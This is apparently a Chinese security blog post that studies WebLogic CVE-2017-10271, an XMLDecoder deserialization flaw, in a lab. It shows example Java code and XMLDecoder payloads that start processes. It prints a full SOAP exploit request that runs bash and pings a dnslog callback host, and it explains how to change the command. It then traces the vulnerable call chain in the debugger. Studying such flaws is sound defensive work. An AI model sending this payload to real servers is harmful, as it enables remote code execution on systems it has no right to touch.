0%

JAVA安全:Weblogic之CVE-2017-10271_XMLDecoder漏洞

作者:Narcher 时间:2024/5/2 分类:Vulnerability Analysis

前言

直接跟着Drunkbaby佬整理的学习路线开始学了,本文记录一下学习过程

正文

XMLDecoder可以读取XMLEncoder生成的XML文档进行命令执行,类似于Fastjson中的json的序列化和反序列化

示例

首先生成一个xml文档:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.swing.*;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.beans.XMLEncoder;

public class XMLEncoder_test {
public static void main(String[] args) throws FileNotFoundException {
FileOutputStream file = new FileOutputStream("result.xml");
XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(file));
xmlEncoder.writeObject(new JButton("2333333"));
xmlEncoder.close();
}
}

生成的result.xml如下:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="javax.swing.JButton">
<string>2333333</string>
</object>
</java>

之后使用XMLDecoder反序列化即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.beans.XMLDecoder;

public class XMLDecoder_test {
public static void main(String[] args) throws FileNotFoundException {
FileInputStream file = new FileInputStream("result.xml");
XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(file));
Object o = xmlDecoder.readObject();
System.out.println(o);
xmlDecoder.close();
}
}

输出:

1714625252965

。。。。。。。。。。

问题:现在有点疑惑网上的恶意xml文档是自己编写的还是用XMLEncoder生成的,因为我自己编写Java生成这个的时候出了些问题,感觉无法复现,网上流传的恶意xml文档都是直接给出的xml,没XMLEncoder的代码,如下:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>Calc</string>
</void>
</array>
<void method="start"/></void>
</java>

XMLDecoder解析后会弹出计算器:

1714627682451

后来问了问Drunkbaby师傅,这种都是直接编写的xml文档,那就要学一下xml的格式了

。。。。。。。。。。


XML基础

这里主要是看一些常用的xml标签,其实网上的都大同小异,知道怎么用就行

string标签

通常作为子标签充当参数,例如:

1
2
3
4
5
6
 <?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="javax.swing.JButton">
<string>2333333</string>
</object>
</java>

object标签

object表示对象,通常用来指定调用的类,例如:

1
2
3
<object class="javax.swing.JButton">
<string>2333333</string>
</object>

void标签

void标签用处比较广泛,可用于函数或者类的调用,以及赋值等,例如:

1
2
3
4
5
6
7
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>Calc</string>
</void>
</array>
<void method="start"/></void>

array标签

array表示数组,表明了数组的类型和长度等,内部可用void标签的index属性指定对应索引使用string标签进行赋值,例如:

1
2
3
4
5
<array class="java.lang.String" length="1">
<void index="0">
<string>Calc</string>
</void>
</array>

环境搭建

因为这个漏洞主要针对的是WebLogic中WLS-WebServices的组件,所以用之前的环境就够了

详情请看上一篇文章:JAVA安全:Weblogic之CVE-2015-4852反序列化漏洞 | Narcherの小窝

漏洞复现

WebLogic的接口/wls-wsat/CoordinatorPortType可以接收XML的数据包,只是需要用SOAP型的格式进行一些包装即可

1714631566944

数据包如下,直接用的Drunkbaby师傅的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.58.128:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: rememberMe=0P214RoHwjsUeSFEpelw10AyENEhVPUZ7Nz6zTsrGCqNikS9UAjsjoU66N22+jnpKV6cPMvTbMIC8POClLrLraGBSUnEWJHhsSLRr6Em+FigyKn1cUyoV3QXhkfQQlt5JxsIZUvTyx9xHvtHCAQE/FQv0TSwVY/4I4DUBJ82qxchbVo7/bqpd8EUGLnZWIuj1+RLfHC4BRV6hj89QKWBWHajSZ1ni24DmoyCCA5nphp4xiulIU/KshFs8bC3enUuPA2/MMywqZWmY0IjOtw+JkXULgbE3DDlU5Mw9jQnA6Z1HjVX2hbLwr//wi/2KOEgYd4Ssieu1IgA7qVk4Hty3BkEGf9A+u/Y33LVioO2Sy/NFr+rywQwQqNqjmA3vGWzdQ1WucoEsCrlcn84ax/DehCba2PLDCOl8sT9qn/fhhWIdoemS8s1UPHWWXqxNjg5tySUUq0TQjWngVCnd4eAtq04oHXj4UthTJHA1jeeQzAK+LLyiziWgI4ZV0s2G6eiM7NqfKAJl1/GjrE59GL2JQ==; ADMINCONSOLESESSION=l8XsmzwdZMP8W1yn0766JTGwf3G2k2NQpl3Z9C25dFqTQ7vsGty0!1153042568
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 646

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping aaa.9y1gq6.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

发现打通了(这里的格式要求有点怪,我删了几个空格就执行不了了):

1714631552850

如果要修改命令的话就更改如下部分:

1
<string>ping aaa.9y1gq6.dnslog.cn</string>

漏洞分析

在wlserver/server/wls-wsat.war/WEB-INF/web.xml中存在着许多接口(未截全):

1714632066067

只要它们能处理SOAP报文,就存在XMLDecoder漏洞

前人以及确定好处理的大致流程路线了,不需要我们自己去找,我们直接把断点打在wlserver\server\lib\weblogic.jar!\weblogic\wsee\jaxws\workcontext\WorkContextServerTube类的processRequest方法处:

1714632598552

待我们发包之后,发现此处的var1就是我们POST传入的数据:

1714632659433

我们接下来继续跟进,首先var1不为null,进入var2和var3的赋值操作,var2是数据中的headers,之后对var2处理后又赋值给var3:

1714633392785

判断var3不为空之后进入WorkContextServerTube类的readHeaderOld方法:

1714633514779

到var4的时候就已经是我们的恶意XML了:

1714634306767

经过一系列的赋值,也就是层层封装之后,进行var6的创建工作,我们跟进去看一下:

1714633560680

发现其实是XMLDecoder的创建工作,那么我们跟进this.receive(var6)看一下:

1714633706098

经过赋值操作之后触发WorkContextMapImpl类的receiveRequest方法:

1714633794189

再进入WorkContextLocalMap类的receiveRequest方法:

1714633902816

之后把var1传入到WorkContextEntryImpl类的readEntry方法:

1714633996843

跟进readUTF方法发现此处调用了XMLDecoder的readObject方法进行了反序列化

1714634014071

至此流程结束